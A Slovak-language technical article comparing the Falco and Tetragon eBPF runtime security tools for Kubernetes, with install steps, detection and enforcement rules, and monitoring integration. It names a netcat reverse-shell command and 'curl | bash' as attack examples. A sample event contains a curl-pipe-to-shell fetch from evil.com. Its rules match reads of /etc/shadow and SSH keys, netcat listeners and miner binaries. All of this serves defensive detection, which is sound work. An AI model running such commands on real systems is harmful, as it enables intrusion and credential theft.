🔴 Advanced

Falco a Tetragon — eBPF runtime security pre Kubernetes

Klasické Kubernetes security nástroje riešia prevenciu — admission controllers, image scanning, Pod Security Standards. Ale čo sa stane keď pod už beží a útočník v ňom spustí curl | bash, pokúsi sa číťať /etc/shadow, alebo nadviaže reverse shell? Prevention zlyhala. Teraz potrebujete runtime behavioral detection.

Falco (CNCF Incubating) a Tetragon (CNCF Incubating, súčasť Cilium ekosystému) sú dva dominantné open-source nástroje pre eBPF-based runtime security v Kubernetes. Obidva používajú rovnakú základnú techniku — hooking do kernel eventov cez eBPF programy — ale rozchádzajú sa v filozofii, API a operačnom modeli.

Tento článok porovnáva oba nástroje, vysvetľuje kedy vybrať ktorý, a ukazuje konkrétne detection rules pre typické K8s útoky.

Prečo runtime security

Bežná bezpečnosť v K8s sa zastaví na okraji pod-u:

  1. Image scanner (Trivy, Grype) — kontroluje image pred deployom. Nezachytí zero-day ani malware, ktorý sa dostane do image po scan-e.
  2. Admission controller (Kyverno, OPA Gatekeeper) — blokuje problematické manifesty. Nechráni, keď je workload už spustený.
  3. Network policies — obmedzujú traffic. Nechránia pred lokálnou exekúciou.
  4. Pod Security Standards — zakazujú privileged pods. Ale kompromitovaný non-privileged pod tiež môže poškodiť.

Runtime security odpovedá na otázku: "Ako zistím, že sa niečo deje, keď už sa to deje?"

Typické scenáre, ktoré runtime security zachytí:

  • Útočník v pode spustí nc -lvp 4444 -e /bin/sh (reverse shell)
  • Malware sa pokúsi čítať /etc/shadow alebo SSH kľúče
  • Cryptominer sa pripojí na pool adresu
  • Container escape (privileged syscall, mount /, capabilities escalation)
  • Modifikácia binárov v /usr/bin, kernel modul load
  • Lateral movement — pod sa snaží ssh na iný node
  • Exfiltrácia dát cez DNS tunel

eBPF v skratke — prečo práve táto technológia

Tradičné runtime security nástroje (Auditd, Sysdig Falco v1 bez eBPF, AppArmor) sa spoliehali na:

  • Kernel moduly — zložité, CNCF-hostilné, nekompatibilné s novými kernelmi
  • Auditd — robustné, ale pomalé a ťažko sa integruje s K8s kontextom
  • LD_PRELOAD / seccomp — obmedzené pokrytie

eBPF (extended Berkeley Packet Filter) rieši všetky tri problémy:

  • Bezpečne — verifier kontroluje eBPF program pred loadnutím (bounds checking, memory safety, žiadne nekonečné loopy).
  • Rýchlo — JIT kompilácia do natívneho kódu, beží v kernel space.
  • Dynamicky — žiadny reboot, žiadna zmena kernelu. Načíta sa ako DaemonSet z userspace.
  • Flexibilne — hook na syscalls, LSM, kprobes, tracepoints, XDP, tc.

Čítajte samostatný článok o eBPF pre hlbší ponor.

Falco — industry standard s DSL pre rules

Falco vznikol v Sysdigu v 2016, v 2018 donovaný CNCF (Incubating). Je de-facto štandard pre runtime threat detection v K8s svete.

Architektúra Falco

┌─────────────────────────────────────────────┐
│  Node (Kubernetes)                          │
│                                             │
│  ┌────────────────────────────────────┐     │
│  │  Falco DaemonSet pod               │     │
│  │  ┌──────────────────────────────┐  │     │
│  │  │  falco userspace process     │  │     │
│  │  │  - rule engine (.yaml rules) │  │     │
│  │  │  - output channels           │  │     │
│  │  └──────┬───────────────────────┘  │     │
│  │         │ reads events             │     │
│  │  ┌──────▼───────────────────────┐  │     │
│  │  │  libsinsp + eBPF driver      │  │     │
│  │  │  (modern_bpf / kmod / ebpf)  │  │     │
│  │  └──────────────────────────────┘  │     │
│  └────────────────────────────────────┘     │
│                │                             │
│        hooks: syscalls, cgroups              │
│                │                             │
│  ┌─────────────▼─────────────────────┐      │
│  │  Linux kernel                     │      │
│  │  ┌─────────────────────────────┐  │      │
│  │  │  eBPF programs              │  │      │
│  │  │  - tracepoint/syscalls      │  │      │
│  │  │  - lsm hooks                │  │      │
│  │  └─────────────────────────────┘  │      │
│  └───────────────────────────────────┘      │
└─────────────────────────────────────────────┘

Drivery Falco:

  • modern_ebpf (preferred v 2026) — čisté eBPF s CO-RE (Compile Once, Run Everywhere), žiadny build per kernel. Vyžaduje kernel ≥ 5.8.
  • ebpf (legacy) — starší eBPF driver, vyžaduje bpf_probe.o kompiláciu.
  • kmod — kernel modul (posledná možnosť, ak eBPF nefunguje).

Inštalácia

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

helm install falco falcosecurity/falco \
  --namespace falco \
  --create-namespace \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.webui.enabled=true \
  --set tty=true \
  --version 4.8.0

Kľúčové Helm values:

  • driver.kind=modern_ebpf — preferovaný driver (vyžaduje kernel 5.8+, BTF support).
  • falcosidekick.enabled=true — sidecar pre forwarding alertov (Slack, PagerDuty, Loki, webhook).
  • falcosidekick.webui.enabled=true — web UI pre live events.
  • tty=true — potrebné pre stdout outputs v kubectl logs.

Falco rule DSL

Falco rules sú YAML so špecifickým DSL nad sinsp events:

# /etc/falco/falco_rules.local.yaml
- rule: Shell spawned in container
  desc: Detekuje spustenie shella (bash/sh/zsh) vnútri kontajnera
  condition: >
    spawned_process and
    container and
    shell_procs and
    proc.tty != 0 and
    not user_expected_terminal_shell_in_container_conditions
  output: >
    Shell spustený v kontajneri (user=%user.name container_id=%container.id
    container_name=%container.name shell=%proc.name parent=%proc.pname
    cmdline=%proc.cmdline)
  priority: NOTICE
  tags: [container, shell, mitre_execution, T1059]

- rule: Read sensitive file untrusted
  desc: Čítanie citlivých súborov (/etc/shadow, SSH keys) od neočakávaného procesu
  condition: >
    open_read and
    sensitive_files and
    proc_name_exists and
    not proc.name in (allowed_readers)
  output: >
    Citlivý súbor čítaný (user=%user.name proc=%proc.name
    file=%fd.name container=%container.name)
  priority: WARNING
  tags: [filesystem, mitre_credential_access, T1552.001]

- rule: Contact external IP from container
  desc: Pod sa pripája na externú IP mimo povolených destinácií
  condition: >
    outbound and
    container and
    not fd.sip in (allowed_outbound_destinations) and
    not fd.sip in (private_ip_ranges)
  output: >
    Pod sa pripojil externe (container=%container.name
    destination=%fd.sip:%fd.sport command=%proc.cmdline)
  priority: WARNING
  tags: [network, mitre_command_and_control]

Kľúčové Falco koncepty:

  • macros — preddefinované predicates (spawned_process, shell_procs, sensitive_files) z falco_rules.yaml.
  • lists — znovu použiteľné zoznamy (allowed_readers, private_ip_ranges).
  • priority — EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG.
  • tags — MITRE ATT&CK mapovanie (T1059 = Command & Scripting Interpreter).

Output channels

Falco sa historicky spoliehal na syslog/stdout. V produkcii chcete falcosidekick, ktorý forwarduje alerty:

# falcosidekick-config.yaml values
falcosidekick:
  config:
    slack:
      webhookurl: "https://hooks.slack.com/..."
      minimumpriority: warning
    pagerduty:
      routingkey: "${PAGERDUTY_KEY}"
      minimumpriority: critical
    loki:
      hostport: "http://loki.monitoring:3100"
      minimumpriority: notice
    prometheus:
      extralabels: "cluster:prod"
    alertmanager:
      hostport: "http://alertmanager.monitoring:9093"
      minimumpriority: critical

Falcosidekick podporuje ~50 výstupov vrátane Opsgenie, Teams, Splunk, Elasticsearch, AWS SQS/Lambda, GCP Pub/Sub.

Tetragon — Cilium's take na runtime security

Tetragon je runtime security komponent Cilium projektu (Isovalent, teraz Cisco). CNCF Graduated ako súčasť Cilium (2023). Donovaný ako samostatný CNCF Incubating projekt v 2023.

Architektúra Tetragon

┌─────────────────────────────────────────────┐
│  Tetragon DaemonSet                         │
│  ┌──────────────────────────────────────┐   │
│  │  tetragon-agent (Go)                 │   │
│  │  - loads eBPF programs from          │   │
│  │    TracingPolicy CRDs                │   │
│  │  - exposes gRPC API                  │   │
│  │  - streams JSON events               │   │
│  └──────┬───────────────────────────────┘   │
│         │                                   │
│         ▼                                   │
│  ┌──────────────────────────────────────┐   │
│  │  eBPF programs (kernel)              │   │
│  │  - kprobes                           │   │
│  │  - tracepoints                       │   │
│  │  - LSM hooks                         │   │
│  │  - uprobes                           │   │
│  │  ── in-kernel enforcement! ──        │   │
│  └──────────────────────────────────────┘   │
└─────────────────────────────────────────────┘

Kľúčový rozdiel vs Falco:

  • Falco detekuje a alertuje z userspace (eBPF → libsinsp → rules engine).
  • Tetragon môže blokovať priamo v kerneli (action: Sigkill, NotifyEnforcer) — bez round-tripu do userspace. Latencia blokovania: mikrosekundy.

Inštalácia

Tetragon sa štandardne inštaluje spolu s Cilium, ale funguje aj samostatne:

helm repo add cilium https://helm.cilium.io/
helm install tetragon cilium/tetragon \
  --namespace kube-system \
  --set tetragon.enabled=true \
  --set export.stdout.enabled=true

Na zachovanie logov pre Prometheus / OTel collection:

helm install tetragon cilium/tetragon \
  --namespace kube-system \
  --set export.stdout.enabled=false \
  --set export.filenames[0]=stdout.json \
  --set metricsserver.enabled=true

TracingPolicy — CRD-based rules

Tetragon má deklaratívny model rules ako Kubernetes CRDs:

# tracing-policy-sensitive-files.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: sensitive-files-read
spec:
  kprobes:
    - call: "security_file_permission"
      syscall: false
      return: true
      args:
        - index: 0
          type: "file"
        - index: 1
          type: "int"
      returnArg:
        index: 0
        type: "int"
      selectors:
        - matchArgs:
            - index: 0
              operator: "Equal"
              values:
                - "/etc/shadow"
                - "/etc/passwd"
                - "/root/.ssh/authorized_keys"
            - index: 1
              operator: "Mask"
              values:
                - "4"  # MAY_READ
          matchActions:
            - action: Sigkill  # zabije proces na mieste

Selectors sú powerful — môžete matchovať podľa:

  • matchArgs — argumenty syscallu
  • matchPIDs — specific PIDs/containers
  • matchNamespaces — Kubernetes namespaces
  • matchCapabilities — required capabilities
  • matchBinaries — konkrétne binárky

Enforcement actions

Tetragon podporuje viaceré akcie priamo v kerneli:

  • Sigkill — SIGKILL na proces
  • Override — prepíše návrat syscallu (napr. open() vráti EPERM)
  • FollowFD/UnfollowFD — sleduje file descriptors
  • NotifyEnforcer — poslať event do userspace
  • GetUrl/DnsLookup — enrichment pri export
  • Signal — iný signál (SIGTERM, SIGSTOP)

Export formats

Tetragon produkuje JSON events (ne YAML ako Falco). Typický event:

{
  "process_exec": {
    "process": {
      "exec_id": "a1b2c3d4",
      "pid": 12345,
      "uid": 1000,
      "cwd": "/app",
      "binary": "/bin/bash",
      "arguments": "-c 'curl http://evil.com/payload | sh'",
      "pod": {
        "namespace": "production",
        "name": "api-7d4c8b",
        "container": {
          "id": "docker://abc...",
          "name": "api",
          "image": {
            "id": "sha256:...",
            "name": "registry.example.com/api:v2.3.1"
          }
        }
      }
    },
    "parent": {
      "binary": "/usr/bin/python3",
      "pid": 1
    }
  },
  "node_name": "worker-node-7",
  "time": "2026-04-17T10:30:15.123Z"
}

Event je obohatený Kubernetes kontextom (namespace, pod, container, image) automaticky — Tetragon číta pod metadata z kube-apiserver.

Porovnanie — Falco vs Tetragon

Kritérium Falco Tetragon
Založenie Sysdig (2016), CNCF Incubating Isovalent/Cilium (2022), CNCF Incubating
Primary use-case Detection & alerting Detection + in-kernel enforcement
Rule language Custom YAML DSL (sinsp) Kubernetes CRD (TracingPolicy)
Event processing Userspace (rules evaluated v libsinsp) eBPF in-kernel, userspace len pre export
Enforcement ❌ Len detection ✅ Sigkill, Override
Event format Syslog-like text, JSON via falcosidekick JSON natívne
K8s context Via libsinsp K8s client Natívne (súčasť Cilium ekosystému)
eBPF driver modern_bpf (CO-RE), ebpf legacy, kmod Výhradne eBPF
Performance overhead ~2–5% CPU per node ~1–3% CPU per node
Rules repository Falco Rules (community + official) Tetragon TracingPolicy knižnica (menšia)
Output destinations ~50 cez falcosidekick stdout JSON → OTel/Fluentbit
Learning curve Stredná (DSL) Stredne-vysoká (kprobes, eBPF concepts)
Plugin systém ✅ Falco plugins (AWS CloudTrail, K8s Audit Log, GitHub) ❌ Len eBPF hooks
Community size ✅ Veľká ⚠️ Rastúca
Maturita ✅ Produkčne overené ~8 rokov ⚠️ 3 roky GA

Kedy Falco, kedy Tetragon, kedy oba

Falco ako primárny nástroj

  • Začínate s runtime security — Falco má bohatú knižnicu default rules.
  • Potrebujete bohaté output channels (Slack, PagerDuty, Splunk, SIEM).
  • Máte zmiešanú infraštruktúru (K8s + cloud audit logs) — Falco pluginy pre CloudTrail, K8s Audit Log, GitHub Audit Log.
  • Audit compliance je priorita (PCI-DSS, HIPAA) — Falco má checklists a certification.

Tetragon ako primárny nástroj

  • Beží vám Cilium ako CNI — Tetragon sa integruje natívne.
  • Potrebujete in-kernel enforcement (zabiť malicious proces okamžite, nie len alertovať).
  • Operate low-latency workloads (HFT, gaming) — Tetragon má nižší overhead.
  • Chcete deklaratívne rules ako Kubernetes CRDs (GitOps friendly).

Oba naraz

Absolútne legitímny setup:

  • Falco pre detection + alerting + compliance reports
  • Tetragon pre hard enforcement kritických rules (container escape, privileged syscalls)

Nie sú v konflikte — oba DaemonSety môžu bežať paralelne, každý s vlastnými eBPF programami.

Typické rules pre K8s útoky

1. Container escape

# Falco
- rule: Unexpected mount in container
  desc: Kontajner montuje filesystem (potenciálny escape)
  condition: >
    evt.type = mount and
    container and
    not user_expected_mount_conditions
  output: "Mount v kontajneri (container=%container.name source=%evt.arg.source target=%evt.arg.target)"
  priority: WARNING
  tags: [container, mitre_privilege_escalation, T1611]

# Tetragon — blokuje priamo
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: block-mount-in-container
spec:
  kprobes:
    - call: "security_sb_mount"
      syscall: false
      args:
        - index: 0
          type: "string"
      selectors:
        - matchNamespaces:
            - namespace: "Pid"
              operator: "NotIn"
              values: ["host"]
          matchActions:
            - action: Override
              argError: -1  # EPERM

2. Cryptocurrency miner

# Falco
- list: cryptomining_binaries
  items: [xmrig, minergate, ethminer, cgminer, bfgminer, nicehash, minerd]

- rule: Cryptominer binary executed
  desc: Detekuje spustenie známeho miner-a
  condition: spawned_process and proc.name in (cryptomining_binaries)
  output: "Cryptominer spustený (container=%container.name binary=%proc.name)"
  priority: CRITICAL
  tags: [malware, mitre_impact, T1496]

3. SSH key exfiltrácia

- rule: SSH key read
  desc: Čítanie SSH private keys
  condition: >
    open_read and
    (fd.name endswith "/.ssh/id_rsa" or
     fd.name endswith "/.ssh/id_ed25519" or
     fd.name endswith "/.ssh/authorized_keys") and
    not proc.name in (ssh, sshd, ssh-keygen, ssh-agent)
  output: "SSH key čítaný (container=%container.name user=%user.name file=%fd.name proc=%proc.name)"
  priority: CRITICAL
  tags: [credential_access, mitre_credential_access, T1552.004]

4. Reverse shell

- rule: Netcat listener spawned
  desc: Detekuje `nc -l` alebo ekvivalenty
  condition: >
    spawned_process and
    ((proc.name = "nc" and (proc.args contains "-l" or proc.args contains "--listen")) or
     (proc.name = "socat" and proc.args contains "tcp-listen") or
     (proc.name = "ncat"))
  output: "Netcat listener (container=%container.name cmd=%proc.cmdline)"
  priority: CRITICAL
  tags: [network, mitre_command_and_control, T1071]

5. Privileged container bez potvrdeného use-case

- rule: Privileged container spawned
  desc: Privileged pod, ktorý nie je na schválenom zozname
  condition: >
    container_started and
    container.privileged = true and
    not container.image.repository in (allowed_privileged_images)
  output: "Privileged container (image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name)"
  priority: ALERT
  tags: [container, mitre_privilege_escalation]

Integration s SIEM a observability

Falco → Loki → Grafana

# falcosidekick config
falcosidekick:
  config:
    loki:
      hostport: "http://loki-distributed-gateway.monitoring:80"
      apikey: ""
      minimumpriority: "notice"
      customheaders: "X-Scope-OrgID:falco"

Grafana dashboard query:

{app="falcosidekick"} 
  | json 
  | priority =~ "(?i)(critical|error|warning)" 
  | line_format "{{.rule}} | {{.output}}"

Tetragon → OpenTelemetry

# tetragon helm values
export:
  stdout:
    enabled: true
tetragonOperator:
  enabled: true

# otel-collector
receivers:
  filelog:
    include: [/var/log/containers/tetragon-*.log]
    operators:
      - type: json_parser
      - type: add
        field: attributes.source
        value: tetragon

exporters:
  loki:
    endpoint: http://loki:3100/loki/api/v1/push
  elasticsearch:
    endpoints: [http://es:9200]
    index: tetragon-events

Falco → Alertmanager cez Prometheus

- name: falco-critical-alerts
  rules:
    - alert: FalcoCriticalAlert
      expr: |
        sum by (rule, k8s_namespace_name, k8s_pod_name) (
          rate(falco_events_total{priority=~"Critical|Alert|Emergency"}[5m])
        ) > 0
      for: 1m
      labels:
        severity: critical
      annotations:
        summary: "Falco kritický alert: {{ $labels.rule }}"
        description: "Pod {{ $labels.k8s_namespace_name }}/{{ $labels.k8s_pod_name }} triggerol {{ $labels.rule }}"

Produkčné odporúčania

1. Nevypínajte default rules, ale override vo svojich custom**

Nezasahujte do falco_rules.yaml — používajte falco_rules.local.yaml pre overrides. Pri upgrade Falco si core rules aktualizujete, ale vaše výnimky zostanú.

2. Noise reduction od prvého dňa

Typický problém nového Falco deployu: 10 000+ alertov za hodinu z legitímnych aplikácií.

# Macro na povolenie špecifických binárok v špecifických imageoch
- macro: expected_init_in_pg
  condition: >
    container.image.repository in (postgres, bitnami/postgresql) and
    proc.name in (initdb, pg_ctl, postgres)

# V rule:
- rule: Shell spawned ...
  condition: spawned_process and container and shell_procs and not expected_init_in_pg

3. Secure-by-default kontext pre rule matching

- macro: user_expected_terminal_shell_in_container_conditions
  condition: >
    container.image.repository in (cloudops_tools_images) and
    k8s.ns.name = "cloudops"

Konkrétne: shell v cloudops namespace-e je OK (tu devops ľudia kubectl exec), ale ten istý shell v production namespace-e je alert.

4. Monitoring Falco/Tetragon samotných

Ak niekto vypne Falco DaemonSet, prichádzate o runtime security. Monitor Tetragon/Falco health:

- alert: FalcoDaemonsetDown
  expr: |
    kube_daemonset_status_number_available{daemonset="falco", namespace="falco"} 
    / kube_daemonset_status_desired_number_scheduled{daemonset="falco"} < 1
  for: 5m
  labels:
    severity: critical
  annotations:
    summary: "Falco DaemonSet je degradovaný — strácame runtime security coverage"

5. Testujte rules cez red team exercises

Pravidelne (každý kvartál) spustite v staging útoky:

kubectl run event-generator --rm -i --tty \
  --image=falcosecurity/event-generator:latest \
  -- run syscall --loop=true

6. Rule-as-code do git

TracingPolicy a Falco rules držte v Git repozitári. GitOps + FluxCD/ArgoCD = auditable history.

Footguny

  1. Nedostatočné kernel verzie — modern_bpf potrebuje kernel 5.8+ s BTF. Na starých uzloch (napr. Ubuntu 20.04 pre-EOL) Falco padne späť na kmod = performance hit + security risk.
  2. Staršie Helm default driver.kind=ebpf — starší chart defaultoval na legacy eBPF. Moderné verzie už default-ujú na modern_ebpf, ale pre istotu ho explicitne nastavte vo values, aby ste sa nestretli s regressiou pri downgrade.
  3. Tetragon Sigkill bez testovania — ak napíšete zlú selector, môžete zabiť legitímne procesy. Vždy začnite s NotifyEnforcer alebo Override (vráti error ale proces žije), až po validácii prejdite na Sigkill.
  4. Ignorovanie ALERT priority — Falco default filter je WARNING a vyššie. Niektoré kritické rules sú ALERT a vyššie — uistite sa, že ich output kanál posiela.
  5. Žiadny SIEM retention — runtime events vám nepomôžu pri forenzike 3 mesiace neskôr, ak ich Loki po 7 dňoch zahodí. Nastavte retention aspoň 90 dní na bezpečnostné logy.

Zhrnutie

Runtime security je posledná obranná línia medzi kompromitovaným podom a vašou produkciou. Falco je zrelý, flexibilný, má bohatý ekosystém a community — dobrá voľba pre väčšinu tímov. Tetragon pridáva in-kernel enforcement a je ideálny partner Cilia — ak už používate Cilium, je to no-brainer.

V produkcii odporúčame:

  1. Začnite s Falcom + falcosidekick → Loki/Slack/PagerDuty.
  2. Pridajte Tetragon pre kritické enforcement pravidlá, keď ste Falco doladili.
  3. Integrujte do SIEM (Splunk, Elastic) pre forenziku a compliance.
  4. Testujte pravidelne red team scenáre — alerty bez testov sú fikcia.

Žiadny nástroj vás neochráni proti dokonale pripravenému útočníkovi, ale Falco + Tetragon posúvajú laťku výrazne. A väčšina útokov nie je dokonale pripravených.

Ďalšie čítanie